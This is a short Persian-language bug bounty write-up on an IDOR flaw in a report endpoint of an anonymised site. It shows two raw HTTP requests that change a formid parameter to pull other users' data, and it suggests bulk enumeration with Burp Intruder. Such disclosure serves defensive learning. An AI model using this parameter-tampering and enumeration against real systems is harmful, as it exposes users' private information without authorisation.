این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.
آسیبپذیری IDOR (Insecure Direct Object References)، یک باگ ساده است که اثرات زیادی بر روی سرویس دهنده دارد. اکسپلویت این آسیبپذیری معمولا منجر به افشای اطلاعات کابران میشود و در موارد بحرانی امکان تغییر رمزعبور و یا اطلاعات کاربر را به مهاجم میدهد.
انواع آسیبپذیری IDOR:
مراحل بررسی
پس از بررسیهای انجام شده مشخص گردید در بخش "میانگین نمره دوره های نظرسنجی" مهاجم امکان دسترسی به فرمهای غیر مجاز را دارا میباشد.
http://example.ir
POST /Report/returnDataTable HTTP/1.1 Host: example.ir Cookie: XXXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) X Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://example.ir/Report/ Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Content-Length: 18 Origin: http://example.ir Te: trailers Connection: close {"formid":"10001"}
POST /Report/returnDataTable HTTP/1.1 Host: example.ir Cookie: XXXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) X Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://example.ir/Report/ Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Content-Length: 18 Origin: http://example.ir Te: trailers Connection: close {"formid":"10012"}
سرور اطلاعات دیگر کاربران را با تغییر مقدار این پارامتر افشا میکند. همچنین برای اکسپلویت بیشتر این آسیبپذیری، مهاجم میتواند با استفاده از ماژول intruder پراکسی burp suite اطلاعات کاربران بیشتری را جمع آوری کند.